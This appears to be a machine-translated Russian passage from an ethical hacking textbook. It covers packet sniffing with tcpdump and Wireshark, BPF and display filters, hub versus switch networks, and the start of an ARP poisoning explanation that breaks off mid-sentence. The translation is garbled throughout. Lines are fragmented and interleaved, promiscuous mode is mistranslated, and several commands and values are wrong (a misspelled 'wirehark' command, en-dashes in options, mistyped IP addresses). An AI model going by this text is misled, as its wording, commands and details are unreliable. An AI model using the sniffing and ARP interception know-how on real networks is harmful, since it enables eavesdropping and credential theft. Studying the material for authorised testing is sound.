браузер делает всю сессию по HTTP вместо HTTPS.

Анализ сетевого трафика

Стр. Решебника 84

Отслеживание трафика - это возможность захватывать и контролировать проходящие сетевые пакеты.


по сети. Эти пакеты могут принадлежать вашим системам или другим
системы в сети. Обнюхивание осуществляется с помощью специального программного или аппаратного обеспече
это называется «сниффером пакетов» или «анализатором пакетов». «Сниффер пакетов» - это
может показать все пакеты, проходящие в / из сетевого интерфейса, подключенного к
аппаратная система, на которой запущен сниффер. Снифферы пакетов могут использоваться
сетевые администраторы и инженеры для поиска и устранения неисправностей и обслуживания
проблемы, и они могут быть использованы тестерами на проникновение - и хакерами - для
записывать учетные данные в открытом виде, подслушивать действия определенных
частные лица, собирают конфиденциальную информацию и т. д.
Чтобы понять, как работают анализаторы пакетов, нам нужно понять режимы
операции, которые есть у каждой сетевой карты (NIC). В основном есть два
режимы, с которыми может работать сетевая карта:

1. Непрерывный режим : в этом режиме сетевая карта проверяет


MAC-адрес назначения каждого пакета, поступающего на его вход. Если
MAC-адрес назначения либо является широковещательным, либо соответствует
MAC карты NIC, это означает, что пакет отправлен в эту систему,
и, как таковой, пакет захватывается и отправляется в ОС для
обработка. В противном случае пакет отбрасывается.
2. Беспорядочный режим : в этом режиме NIC-карта не проверяет
MAC-адрес назначения пакетов. Он отправляет всех прибывающих
пакеты в ОС. ОС должна проделать необходимую работу, чтобы узнать
полезен пакет или нет и какое приложение должно быть
доставлен в. Беспорядочный режим может создать нагрузку на систему
ресурсы, если включено по ошибке.
Любой анализатор пакетов должен работать с обоими этими режимами. Однако это делает
больше смысла запускать сниффер с неразборчивым режимом, чтобы получить доступ ко всем
доступные пакеты. Однако перевод сетевой карты в беспорядочный режим
требуются права администратора - то есть root в UNIX / Linux или
Администратор в Windows. Без таких привилегий NIC-карта может только
работать в неразборчивом режиме. Большинство сетевых снифферов автоматически
переключите режим сетевой карты на неразборчивый, когда права администратора / root
даны. В противном случае они действуют без беспорядочных половых связей.
Мы рассмотрим важные снифферы: Tcpdump и Wireshark. Первое
это сниффер пакетов командной строки, который выгружает пакеты в окно терминала

https://translate.googleusercontent.com/translate_f 63/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр.85

или сохраняет их в файл. Последний представляет собой многофункциональный инструмент на основе графическ
два инструмента совместимы друг с другом; файлы, сохраненные Tcpdump, могут быть прочитаны
от Wireshark и наоборот.
Tcpdump
Tcpdump - это инструмент командной строки, который входит в состав большинства UNIX / Linux.
ОС. Первоначально он был разработан группой сетевых исследований в Беркли.
Лаборатория в 1988 году. В 1999 году другие участники создали веб-сайт.
www.tcpdump.org, который содержит полную документацию и исходные коды
этот инструмент вместе с библиотекой libpcap C / C ++.
Вы можете запустить Tcpdump для захвата живых пакетов по сети, и в этом случае
Tcpdump может либо вывести эти пакеты в окно терминала, либо сохранить
их в файле для последующего анализа. В качестве альтернативы вы можете запустить Tcdump в автономном режи
чтение пакетов из определенного файла и выгрузка их на терминал
окно. Поскольку это командная строка, Tcpdump может быть написан по сценарию и его вывод
анализируется скриптами, написанными на таких языках, как shell, python или perl.
Захват пакетов без содержимого
Если вы запустите Tcpdump со значениями по умолчанию - без заданных параметров, он будет
начать обнюхивать все доступные интерфейсы и сбрасывать заголовки захваченных
пакеты в окне терминала. Все, что вам нужно, это ввести следующее:
# tcpdump
Результат будет примерно таким:
tcpdump: подробный вывод подавлен, используйте -v или -vv для полного декодирования протокола
прослушивание eth0, тип канала EN10MB (Ethernet), размер захвата 262144 байта
00: 38: 37.161537 ARP, запрос, у кого есть 192.168.0.100, сообщить _gateway, длина 46
00: 38: 37.911700 IP kali.33212> google-public-dns-a.google.com.domain: 27207+ PTR?
100.0.168.192.in-addr.arpa. (44)
00: 38: 37.964182 IP-адрес google-public-dns-a.google.com.domain> kali.33212: 27207 NXDomain
0/0/0 (44)
00: 38: 38.026015 IP kali.50702> google-public-dns-a.google.com.domain: 23605+ PTR?
1.0.168.192.in-addr.arpa. (42)
00: 38: 38.081610 IP-адрес google-public-dns-a.google.com.domain> kali.50702: 23605 NXDomain
0/0/0 (42)
00: 40: 40.685263 IP kali.36316> 185.91.98.18.http: Flags [.], Ack 1153, win 254, options
[nop, nop, TS val 2393669468 ecr 1869232191], длина 0
00: 40: 40.690676 IP 185.91.98.18.http> kali.36316: Флаги [.], Ack 865, win 517, параметры
[nop, nop, TS val 1869243369 ecr 2393628603], длина 0

Стр.86

По умолчанию Tcpdump не выгружает все содержимое пакета на


Терминал. Вместо этого он печатает строку, которую можно обернуть, показывая определенные
ключевые данные о пакете. Как вы можете видеть в выходных данных выше, каждый одиночный-
цветная обернутая линия представляет 1 пакет. Каждая строка начинается с отметки времени
показывает, когда пакет был захвачен (например, 00: 38: 38.026015); это
за которым следует протокол (например, ARP, IP и т. д.). Если пакет был IP-пакетом,
в строке будет показан адрес источника, знак ( > ), а затем пункт назначения
адрес. Если адрес можно преобразовать в имя хоста или полное доменное имя, такое имя
будет напечатан, в противном случае - IP-адрес. После этого дополнительный ключ
информация о транспортном протоколе распечатывается.

https://translate.googleusercontent.com/translate_f 64/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Если вы хотите указать определенный интерфейс для прослушивания (например, eth0), вы можете запустить
Tcpdump с параметром -i и дайте ему имя интерфейса:
# tcpdump -i eth0
Однако если по каким-то причинам вы не могли вспомнить название
интерфейса, вы можете легко попросить Tcpdump перечислить доступные интерфейсы как
следует:
# tcpdump -D
Результат будет примерно таким:
1.eth0 [работает, работает]
2. любой (Псевдоустройство, которое захватывает все интерфейсы) [Работает, работает]
3.lo [Up, Running, Loopback]
4.nflog (интерфейс журнала сетевой фильтрации Linux (NFLOG))
5.nfqueue (интерфейс очереди сетевого фильтра Linux (NFQUEUE))
6. usbmon1 (шина USB №1)

Выгрузка содержимого пакетов


Если вы хотите получить все содержимое пакета, Tcpdump может
сделайте это в двух форматах: HEX и ASCII. HEX - сокращение от шестнадцатеричного числа - это
система счисления с основанием 16; числа варьируются от 0 до F, и каждый байт
представлен двумя шестнадцатеричными числами от 00 до FF. ASCII, с другой стороны,
это система для удобочитаемых символов: буквенно-цифровых и специальных
символы.
Чтобы попросить Tcpdump показать нам содержимое пакетов только в HEX, мы
проблема:
# tcpdump -i eth0 -x

Стр. Решебника 87

Вот пример вывода:


01: 29: 50.679537 IP kali> ham02s12-in-f46.1e100.net: эхо-запрос ICMP, id 1737, seq 4,
длина 64
0x0000: 4500 0054 7cbc 4000 4001 3dd6 c0a8 0067
0x0010: acd9 122e 0800 63fd 06c9 0004 dea9 f35b

0x0020: 0000 0000 f25c 0a00 0000 0000 1011 1213


0x0030: 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223

0x0040: 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233


0x0050: 3435 3637

В выходных данных выше мы видим пакет ICMP. Первая строка - это то, что Tcpdump
были бы напечатаны, если бы мы использовали параметр по умолчанию (пакеты без содержимого).
Есть временная метка, за которой следует протокол (IP), адрес источника (kali),
адрес назначения (ham02s12-in-f46.1e100.net), протокол выше IP
слой, который в данном случае является ICMP, и, наконец, немного информации об этом
Пакет ICMP. Ниже этой строки мы видим HEX-дамп пакета. Каждый
строке в дампе предшествует индекс, который также находится в шестнадцатеричном формате, который
указывает индекс первого байта в строке.
В дополнение к дампу HEX, Tcpdump может показать нам ASCII
представление пакета. Мы можем сделать это, выполнив:
# tcpdump -i eth0 -X
01: 59: 19.082271 IP ham02s12-in-f46.1e100.net> kali: эхо-ответ ICMP, id 1737, seq 859,
длина 64

https://translate.googleusercontent.com/translate_f 65/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
0x0000: 4500 0054 0000 0000 3101 0993 acd9 122e E..T .... 1 .......
0x0010: c0a8 0067 0000 9090 06c9 035b c7b0 f35b ... g ....... [... [

0x0020: 0000 0000 eb6b 0000 0000 0000 1011 1213 ..... k ..........
0x0030 : 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223 .............! "#

0x0040: 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233 $% & '() * +, -. / 0123

0x0050: 3435 3637 4567

Когда дело доходит до ASCII, мы знаем, что не каждый байт в сети может быть
преобразован в ASCII. Итак, что делает Tcpdump, так это проверяет, каждый ли байт
попадает в диапазон ASCII (т. е. диапазон символов, читаемых человеком),
и если это так, он печатает фактический символ ASCII; в противном случае печатается точка (.).

Стр.88

Сохранение пакетов в файл


До сих пор в предыдущих примерах Tcpdump показывал пакеты на
Терминал. Howerver, бывают случаи, когда мы хотим сохранить пакеты для
более поздний анализ. Это можно сделать следующим образом:
# tcpdump -i eth0 -w <имя файла>
Например:
# tcpdump -i eth0 -w mypackets.pcap
Важно отметить, что Tcpdump использует формат файлов PCAP. PCAP означает
Packet Capture, и он был разработан исходными разработчиками Tcpdump.
Этот формат файла входит в состав библиотеки программирования под названием libpcap, которая
предоставляет API-интерфейсы для приложений для взаимодействия с сетевой картой и захвата
пакеты. Tcpdump построен на основе libpcap. Изначально libpcap - это
Библиотека UNIX / Linux. Windows использует версию этой библиотеки под названием Winpcap.
который совместим с API Windows. Формат файла PCAP был
принят во многих других анализаторах пакетов. Как мы увидим позже, Wireshark - для
пример - умеет читать и писать в формате PCAP.
Когда вы запустите Tcpdump, как показано в приведенном выше примере, он запустится
захват и сохранение пакетов на неопределенный срок. Позже мы увидим, как ограничить
количество захваченных пакетов. Но пока вы можете прекратить запись в файл с помощью
отправка сигнала Ctrl ^ C на клавиатуре.
Чтение пакетов из файла
При чтении пакетов из файла Tcpdump выгружает эти пакеты на
окно терминала точно так же, как и при захвате в реальном времени. Пакеты могут
выгружаться как заголовки, но без содержимого или с содержимым в HEX и ASCII
форматы.
Чтобы выгрузить заголовок пакетов из файла mypackets.pcap, мы выдаем
следующий:
# tcpdump -r mypackets.pcap
Чтобы выгрузить пакеты в формате HEX только из файла mypackets.pcap, вы
может выдать:
# tcpdump -r mypackets.pcap -x
Чтобы вывести пакеты как в HEX, так и в ASCII, мы можем выполнить:

https://translate.googleusercontent.com/translate_f 66/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр.89

# tcpdump -r mypackets.pcap -X
Контроль количества и длины пакетов
При выполнении записи в реальном времени по умолчанию Tcpdump сохраняет
бессрочное прослушивание пакетов; и единственный способ остановить это - послать сигнал
Ctrl ^ C. Кроме того, Tcpdump в Kali Linux захватывает максимум 262144 байта.
с начала каждого пакета. Это число обычно превышает
стандартная длина любого пакета TCP / IP. Однако, если вас интересует
захват определенного количества байтов - скажем, 512 или 1024, для
Например, есть способ изменить это значение по умолчанию. И в таком случае Tcpdump
захватит только указанное количество байтов с начала каждого
пакет, а остальные игнорировать.
Параметры, которые позволяют нам изменить это поведение по умолчанию:
-c <нет> указывает количество пакетов для прослушивания.
-s <len> указывает максимальный размер захвата.
Допустим, мы заинтересованы в захвате только 100 пакетов, и мы хотим
выгружать только первые 512 байт из каждого пакета; мы выпустим следующие
команда:
# tcpdump -i eth0 -c 100 -s 512
Пакетный фильтр Беркли (BPF)
До сих пор мы видели, как Tcpdump - в беспорядочном режиме - захватывает все
пакеты, поступающие на сетевой интерфейс, без исключения. Однако если вы
заинтересованы только в определенных типах пакетов, получение всего трафика может быть обременительным
на ваших ресурсах, так как каждый пакет должен обрабатываться ОС с использованием ЦП
и память. Итак, ребята из Berkely Labs изобрели своего рода фильтрацию
механизм - с определенным синтаксисом - который может быть применен с Tcpdump к
захватывать только интересующие вас пакеты. Место для ввода вашего BPF
фильтр всегда находится в конце командной строки tcpdump:
# tcpdump [<параметры>] [<bpf_filter>]
Синтаксис фильтра BPF следует простому правилу: <квалификатор> <значение>
Квалификатор - это ключевое слово, и это может быть одна из трех категорий:

Тип : определяет тип фильтра. Мы можем фильтровать на основе


хост (1 система), сеть (группа систем) или порт. Таким образом, мы
в этой категории есть три ключевых слова:

Стр. 90

хост - единая система. Принимает значение IP-адреса


имени хоста.
net - сеть. Принимает значение сетевой подсети
диапазон.
порт - номер порта. Требуется значение одного порта
номер [ 1 - 65535 ].
Направление : указывает направление пакета, независимо от того, является ли он
исходящий из определенного источника или идущий в определенное место назначения.

https://translate.googleusercontent.com/translate_f 67/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Ключевое
Ключевые слово
слова direction вставляется перед типом. Таким образом
направления:
src - источник.
dst - пункт назначения.
Протокол : это просто позволяет захватывать пакеты определенного
протокол. Некоторые из доступных ключевых слов в этой категории:
ip - Интернет-протокол.
tcp - протокол управления передачей.
udp - Протокол дейтаграмм пользователя.
icmp - Протокол управляющих сообщений Интернета.
Наконец, вы можете комбинировать более одного условия с помощью операторов:

и - для захвата пакета должны быть выполнены оба условия.


или - в пакете должно выполняться одно из условий, чтобы получить
захвачен.
Примеры BPF :
Функция Выражение фильтра BPF
Захват трафика с / на сингл хост 192.68.1.100
хозяин
Захват трафика на один хост dst хост 192.68.1.100
Захват трафика из / в подсеть сеть 192.168.1.0/24
Захват трафика из подсети SRC сеть 192.168.1.0/24
Захват трафика из / в порт порт 80
Захват трафика в порт dst порт 21
Захват трафика из порта src порт 21
Захват только IP-трафика ip
Захват только ICMP-трафика icmp
Захват icmp-трафика подсети net 192.168.1.0/24 и icmp
Захват DNS-трафика хоста хост 192.68.1.100 и порт 53

Стр.91

Сценарии :

Чтобы перехватить DNS-пакеты с / на хост 192.168.1.100, мы набираем:

# tcpdump –i eth0 –X хост 192.168.1.100 и порт 53

Для захвата HTTP- и HTTP-трафика от / к хосту


191.68.1.100, набираем:

# tcpdump –i eth0 –X хост 192.168.1.100 и порт 80 или хост \ 192.168.0.100 и


порт 443

Для захвата любого пакета, идущего с хоста 192.168.1.100 на хост


192.168.1.1, набираем:

# tcpdump –i eth0 –X src host 192.168.1.100 и dst host 192.168.1.1

Чтобы перехватить все пакеты ICMP, мы набираем:

# tcpdump –i eth0 –X icmp


Wireshark
Wireshark - без сомнения - самый мощный и самый популярный графический интерфейс.
на базе анализаторов пакетов и сетевых анализаторов в отрасли. Это было
первоначально назывался Ethereal и был выпущен примерно в 1998 году. В 2006 году инструмент
https://translate.googleusercontent.com/translate_f 68/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
был переименован в Wireshark. Это бесплатное приложение с открытым исходным кодом, которое может
быть установленным в Windows, Mac и Unix / Linux. Он предустановлен на
Kali Linux. Wireshark использует библиотеку libpcap, которая является ядром
tcpdump и разработан теми же авторами, а версия для Windows использует
Winpcap . Это делает Wireshark совместимым с Tcpdump, поскольку оба поддерживают
тот же формат файла, формат PCAP. Домашняя страница инструмента:
https://www.wireshark.org
Wireshark имеет множество функций, которые могут пригодиться при анализе
сетевой трафик. Вы можете захватить весь трафик или установить фильтр, показывающий определенные
тип пакетов. Имеет красивую цветовую схему, благодаря которой разные виды
пакетов отображаются определенным цветом. Следующие разделы проходят
через запуск Wireshark и объясните его основные полезные функции.
Запуск Wireshark

Стр.92

В Kali Linux вы можете запустить Wireshark, набрав в окне терминала


следующая команда:
# wirehark &
Это должно открыть начальное окно Wireshark. Однако когда вы бежите
Wireshark как root (суперпользователь), некоторые компоненты (например, lua) отключаются для
причины безопасности; и это может вызвать предупреждение (показано ниже) в
начало. Не беспокойтесь об этом и просто нажмите ОК.

Начальное окно Wireshark должно выглядеть так:

В этом центре вы можете увидеть текстовое поле рядом с надписью « Снять … с помощью этого фильтра: »
где вы можете ввести свой фильтр BPF (как описано в предыдущем разделе
Tcpdump). Если вы не заинтересованы в фильтрации трафика и вместо этого хотите,
чтобы захватить все пакеты, просто оставьте это текстовое поле пустым. Под этим текстовым полем вы
можно увидеть список доступных интерфейсов, на которых Wireshark может захватывать трафик.
Первым (как показано на изображении выше) является «eth0», и это интерфейс.
нас интересует. Прежде чем вы сможете начать нюхать, вы должны выбрать
интерфейс; вы делаете это, просто щелкая нужный интерфейс и убедитесь, что он
выделен.

https://translate.googleusercontent.com/translate_f 69/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр.93

Теперь вы готовы начать нюхать; в верхней части экрана нажмите на


кнопка который также гласит: « Начать захват пакетов ». Как только ты это сделаешь,
начальное окно исчезнет, ​и появится новое главное окно, в котором
перехваченные пакеты показаны следующим образом:

Каждый раз, когда вы решите остановить анализатор, нажмите кнопку что читает
« Прекратить захват пакетов ». Обратите внимание, как главное окно разделено на три
разделы:

1. Раздел 1 : Это список всех перехваченных пакетов. Каждая строка


представляет один пакет. И линии здесь очень похожи на
строки, которые Tcpdump будет показывать для каждого пакета. Каждая строка
содержит серийный номер пакета, отметку времени, обозначающую, когда
пакет был захвачен, IP-адреса источника и получателя,
протокол, длину пакета и некоторую информацию о
контент и верхний протокол.
2. Раздел 2 : в этом разделе показана проанализированная информация об одном единственном
пакет, который является пакетом, который вы щелкнули в Разделе 1. Здесь
вы можете полностью просмотреть содержимое пакета, проанализированное в соответствии с

Стр.94

фактический формат каждого протокола. Вы можете увидеть содержание


Заголовок Ethernet, заголовок IP, заголовок TCP или UDP и
полезная нагрузка прикладного уровня. Этот раздел дает Wireshark
край над Tcpdump, так как последний не анализирует пакеты ни в одном
способ.
3. Раздел 3 : это дамп всего пакета в HEX и ASCII.

https://translate.googleusercontent.com/translate_f 70/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Это именно переключателя
с помощью то, что сделал бы Tcpdump,
(-x). если бы выввключили
Самое прекрасное Wireshark эту опцию
то, что если
вы нажимаете на любое поле данных в Разделе 2, оно будет выделено в
эта секция. Итак, вы можете увидеть, где каждое поле на самом деле вписывается в
пакет.

Настройка фильтров отображения


В дополнение к фильтрам захвата (операторы BPF), которые вы можете указать в
начальное окно, Wireshak позволяет вам установить другой тип фильтров, которые
называется Display Filters . Разница между фильтром захвата и дисплеем
filter состоит в том, что первый устанавливает фильтр на сетевой карте до того, как пакеты будут
фактически захватывается и отправляется в ОС, а последняя устанавливает фильтр на
прикладного уровня и отображает только те пакеты, которые соответствуют критериям среди
все уже захваченные пакеты. Фильтры дисплея не влияют на то, как сетевая карта
карта захватывает пакеты и не влияет на загрузку процессора. Только они
влияют на внешний вид графического интерфейса пользователя (GUI). Итак, начнем
скажем, вы захватили тысячу пакетов, и теперь все они отображаются на
Главное окно Wireshark; однако вы хотели бы видеть - на данный момент -
только определенный тип этих пакетов. Вам нужны только DNS-пакеты; здесь
фильтры отображения становятся удобными.
Вы можете ввести фильтр отображения в текстовое поле над первым разделом, где он
гласит « Применить фильтр отображения ». Синтаксис этого фильтра отличается от синтаксиса
синтаксис фильтра захвата. Однако вам не нужно запоминать синтаксис.
как есть построитель выражений . Давайте посмотрим, как построить выражение
с мастером. Во-первых, в правой части текстового поля фильтра отображения вы
увидеть такую ​кнопку:

Щелкните « Выражение… », и откроется мастер построения выражений. В


На следующем снимке экрана показан этот мастер, заполненный некоторыми данными:

Стр.95

Если вы увидите список под заголовком «Имя поля», вы заметите, что он охватывает множество

https://translate.googleusercontent.com/translate_f 71/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
протоколы. Это протоколы, которые Wireshark поддерживает и может анализировать. Если
если вы развернете любой из этих протоколов, у вас появится подсписок полей для выбора
из. Каждое поле представляет собой фактическое поле в протоколе, и вы можете использовать это
поле для поиска в нем определенного значения. В большинстве ситуаций вы найдете
Самостоятельная фильтрация по общему протоколу (IP, TCP, UDP и т. д.). В
Ниже приведены некоторые из общих протоколов с некоторыми из их общих полей:

IPv4 - Интернет-протокол версии 4:


ip.dst IP-адрес получателя.

ip.src Исходный IP-адрес.

TCP - протокол управления передачей:


tcp.dstport Порт назначения.

tcp.srcport Исходный порт.


UDP - протокол дейтаграмм пользователя:
udp.dstport Порт назначения.
udp.srcport Исходный порт.

Стр.96

Ethernet - Ethernet:
eth.dst Место назначения (MAC).

eth.src Источник (MAC).

HTTP - протокол передачи гипертекста:


http.cookie Cookie.

http.host Хозяин.
FTP - протокол передачи файлов:
ftp.request Запрос.
ftp.response Ответ.
DNS - система доменных имен:
dns.a Адрес.

dns.ns Сервер имен.

После того, как вы выберете поле, вам нужно будет выбрать отношение (чтобы связать
поле со значением) из списка «Связь», например, == ( равно ),! = ( не
равно ) и т. д. После этого вы добавляете значение - например, IP-адрес или порт
номер - в соответствующем поле. Наконец, вы нажимаете ОК, чтобы вставить поле
поисковый запрос. Если вы хотите объединить более одного поля, вы можете сделать это
используя любой из этих двух операторов: && ( и ) или || ( или ). Текстовое поле фильтра
должен стать зеленым, чтобы указать, что синтаксис запроса в порядке; если он станет красным, это
означает, что в вашем поисковом запросе есть синтаксическая ошибка. Когда вы будете готовы к работе,
нажмите кнопку со стрелкой, чтобы применить фильтр. Вот несколько примеров:

Если мы хотим отображать пакеты, идущие из системы 192.168.0.111


на шлюз 192.168.0.1 выдадим:

ip.src == 192.168.0.111 && ip.dst == 192.168.0.1

Если мы хотим отображать только HTTP-пакеты, идущие в


www.google.com, мы выдадим:

http.host == www.google.com

Если мы хотим отображать широковещательные пакеты на уровне Ethernet, мы


будет выдавать:

eth.dst == FF: FF: FF: FF: FF: FF

https://translate.googleusercontent.com/translate_f 72/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
После применения фильтра отображения пакеты, которые не отображаются, все еще существуют.

Стр.97

в памяти. Итак, в любое время, когда вы хотите удалить фильтр и увидеть все пакеты
опять же, вы просто удаляете запрос фильтра из текстового поля и нажимаете кнопку "Применить"
снова стрелка.
Раскрашивание пакетов
Одна из крутых и полезных функций Wireshark - это его раскраска, когда
отображение пакетов в главном окне. Использование цветов для различных пакетов
types упрощает работу с вашими спотовыми пакетами определенного типа. Например,
Пакеты HTTP обычно отображаются светло-зеленым цветом, пакеты ARP - светлым.
желтый, а пакеты ICMP - светло-фиолетовый. Вы можете редактировать эти цвета и
назначить разные цвета разным типам, щелкнув Вид ➔ Раскраска
Rules , и появится следующее окно:

TCP Stream Follow


Представьте, что вы захватываете несколько пакетов, принадлежащих определенной системе на
сеть. Пользователь в этой системе получает доступ к различным онлайн-сервисам,
например, HTTP, FTP и NFS. И пользователь получает доступ к этим сервисам на всех
в то же время. Мало того, у пользователя есть несколько подключений к разным
FTP-серверы и несколько подключений к разным HTTP-серверам. Как ты
захвата, вы увидите пакеты, принадлежащие всем этим соединениям и
смешанные услуги. Таким образом, вы можете увидеть последовательность пакетов вроде
следующий:

1. HTTP-пакет на первом веб-сервере…


2. FTP-пакет на первом FTP-сервере…
3. HTTP-пакет на втором веб-сервере…
4. Пакет NFS на первом сервере NFS…

Стр.98

5. FTP-пакет на втором FTP-сервере…


6. HTTP-пакет на первом веб-сервере…
7. Пакет NFS на втором сервере NFS…
8.… и так далее, и тому подобное.

https://translate.googleusercontent.com/translate_f 73/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Вам будет сложно перетасовать все эти смешанные пакеты, если вы
интересует определенная установленная сессия. Здесь на помощь приходит Wireshark
с его функцией под названием « Следование по TCP-потоку» . Просто выбрав один
пакет, Wireshark может показать вам все другие пакеты, принадлежащие этому TCP
поток (сеанс). И этот фильтр не фильтрует пакеты по IP-адресу.
или номер порта, он просматривает порядковый номер TCP, чтобы выбрать только
пакеты, принадлежащие одному и тому же последовательному потоку. Мало того, с этим
функция, Wireshark покажет содержимое уровня приложения (полезную нагрузку) в
последовательность без беспорядка протоколов более низкого уровня (TCP, IP и Ethernet).
Чтобы проверить конкретный поток TCP, щелкните правой кнопкой мыши один пакет
интересующий вас поток, затем перейдите к " Подписаться " и в раскрывающемся меню
в меню выберите « TCP Stream ». Ниже приведен снимок экрана HTTP.
поток, показывающий заголовки HTTP в запросах и ответах:

Инспекция пакетов
Еще одна хорошая особенность Wireshark заключается в том, что он дает вам возможность установить
отображать фильтр на основе определенного значения поля, которое вас интересует. Скажем,
что пока вы проверяете пакет, какое-то странное содержимое определенного
поле привлекает ваше внимание, и вы хотите проверить, что все пакеты имеют это
странное содержание. В этом случае вы можете настроить фильтр отображения прямо из

Стр. 99

содержимое этого поля.

В средней части, где анализируется пакет, вы можете найти точное поле


вас интересует, затем щелкните его правой кнопкой мыши, выберите « Применить как фильтр », а затем
нажмите « Выбрано ».
Перехват сетевого трафика
В предыдущем разделе мы заявили, что для захвата сетевого трафика мы

https://translate.googleusercontent.com/translate_f 74/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
нужно поставить сетевые карты в неразборчивом режиме, чтобы он захватил все
пакеты. Однако когда мы говорим «все пакеты», это не означает, что все пакеты в
сеть, но все пакеты, поступающие на сетевую карту. И точно знать
какие пакеты на самом деле поступают на наши сетевые карты, требует, чтобы мы знали, как
наша сеть фактически подключена физически. Как правило, наша система может быть
часть либо узловой сети (старой и устаревшей), либо коммутируемой. А
Hubbed-сеть использует концентратор - устройство уровня 1 - для подключения нескольких
системы вместе, в то время как коммутируемая сеть использует коммутатор, который является уровнем 2
устройство - для подключения систем к сети.
Концентратор против коммутатора
Концентратор - это устройство, работающее на физическом уровне с несколькими физическими портами.
где несколько систем могут быть соединены вместе, как показано на схеме
ниже. Поскольку это устройство уровня 1, оно не может оценивать входящие в него пакеты;
и, как таковой, концентратор не знает, в какое место назначения отправляется пакет.
Таким образом, концентратор пересылает каждый приходящий пакет на все остальные порты. И из-за
что каждый пакет, плавающий в этой сети, в конечном итоге достигает сети
карта каждой системы. Таким образом, если система находится в беспорядочном режиме, она может
захватить все пакеты для всех остальных систем.

Стр. 100

Как вы можете видеть на диаграмме выше, система A отправляет пакет, предназначенный для
в Интернет. Когда этот пакет прибывает в хаб, хаб не знает
что пакет должен достичь маршрутизатора (шлюза); Итак, он пересылает пакет
ко всем подключенным к нему системам. Таким образом, пакет достигает систем B, C, D;
и маршрутизатор шлюза. Затем каждая система должна решить,
действительно имеет отношение к этому пакет или нет. В нашем случае, например, все системы
должен игнорировать пакет, кроме маршрутизатора, который должен пересылать
пакет во внешний мир, в Интернет. Однако, если система C, для
Например, был в беспорядочном режиме, он собирается захватить пакет. Так,
сниффинг в хаб-сети действительно дает возможность захватывать все пакеты
плавает в этой сети.
С другой стороны, в коммутируемой сети каждый компьютер получает трафик, который
предназначен только для него, помимо широковещательного и многоадресного трафика. Таким образом,
компьютер, подключенный к коммутатору, не может захватывать или анализировать трафик, связанный с другими
компьютеры. Это потому, что коммутатор - это устройство уровня 2, работающее на Data-
Связующий слой. Это означает, что он может читать MAC-адреса в каждом пакете и
принять разумное решение о том, на какой порт следует отправить пакет.
Коммутатор может принять такое решение благодаря тому, что у него есть таблица в
память, которая сопоставляет каждый физический порт с определенным MAC-адресом. Момент
новая система подключается к коммутатору, коммутатор записывает исходный MAC
адрес в первом пакете, отправленном этой системой; и этот MAC-адрес получает
связанный с физическим портом. С этого момента любой пакет, предназначенный для этого
MAC-адрес будет перенаправлен только на соответствующий физический порт.

https://translate.googleusercontent.com/translate_f 75/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр.101

На диаграмме выше мы видим, что система A отправляет пакет, предположительно


предназначено для Интернета. По прибытии к выключателю он смотрит на
MAC-адрес назначения, а затем проверяет свою внутреннюю таблицу сопоставления. В
коммутатор знает, какой физический порт является владельцем этого MAC-адреса.
подключен к. Таким образом, он отправляет пакет только через этот порт, в результате чего пакет
достичь маршрутизатора шлюза в одиночку. Системы B, C и D не догадываются
об этом пакете, поскольку он не поступит на их сетевые интерфейсы. Даже если
одна из этих систем была в беспорядочном режиме, пакет не будет виден.
Отравление ARP
Что мы можем сделать, чтобы на самом деле захватить трафик, принадлежащий другим системам в
коммутируемая сеть? Перехват трафика - это возможность обмануть систему, чтобы
перенаправить свой трафик на нашу машину. И есть разные техники
достичь этой цели. Эти методы основаны на использовании некоторых протоколов, например
ARP и ICMP - или использование самого коммутатора. Один из самых надежных
Техника всегда заключалась в использовании протокола ARP. Другой
методы со временем стали неэффективными, поскольку контрмеры
был разработан. Однако состояние протокола ARP оставалось неизменным.
то же самое до сих пор, и его эксплуатация может эффективно работать даже против
современные системы.
Протокол разрешения адресов (ARP) был разработан для сопоставления IP-адресов с
MAC-адреса. Давайте посмотрим на этот пример:

Стр.102

https://translate.googleusercontent.com/translate_f 76/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Предположим, что система A хочет проверить связь с маршрутизатором шлюза. Система А знает
IP-адрес - но не MAC-адрес - этого маршрутизатора. Итак, перед отправкой
пакет ICMP Echo Request, система хочет запросить MAC-адрес
пункта назначения. ARP здесь пригодится; система отправляет типичный ARP
Запрос, который транслируется в сети. Используемый MAC-адрес назначения
в этом ARP-запросе - широковещательный (FF: FF: FF: FF: FF: FF), вызывающий
переключатель для пересылки этого пакета во все подключенные системы. Однако все системы
проигнорирует такой запрос, и только шлюз ответит ARP
Ответьте, указав свой MAC-адрес, как показано ниже:

Когда система A получает ответ ARP, она сохраняет ответ в так называемом
Кэш ARP. Он добавляет запись о том, что IP-адрес 192.168.0.1 имеет MAC
адрес 11: 22: 33: 44: 55: 66. Кэш ARP - это таблица, содержащая IP-адреса.
сопоставлениям MAC-адресов. У каждой записи по умолчанию время жизни 90.
секунды, по истечении которых срок действия записи истекает и она удаляется.
Одна из основных проблем безопасности протокола ARP - отсутствие в нем
аутентификация. Никакая система не может проверить подлинность

Стр.103

любой ответ ARP. Если ответ ARP содержит ложную информацию, получатель
не смог бы сказать. Не только это, но и ARP реализован в Операционной
Системы без отслеживания запросов и ответов. ОС не отслеживает
какой ответ соответствует какому запросу. И поэтому легко
злоумышленник отправляет поддельные ответы ARP и вводит ложные записи в кеш
любая система в локальной сети. Этот тип атаки называется ARP.
отравление, потому что вы отравляете кеш ARP целевой системы.
На диаграмме ниже вы, как тестер на проникновение, находитесь в системе C, и вы
хотите перехватить трафик между системой A и маршрутизатором. Поскольку ты
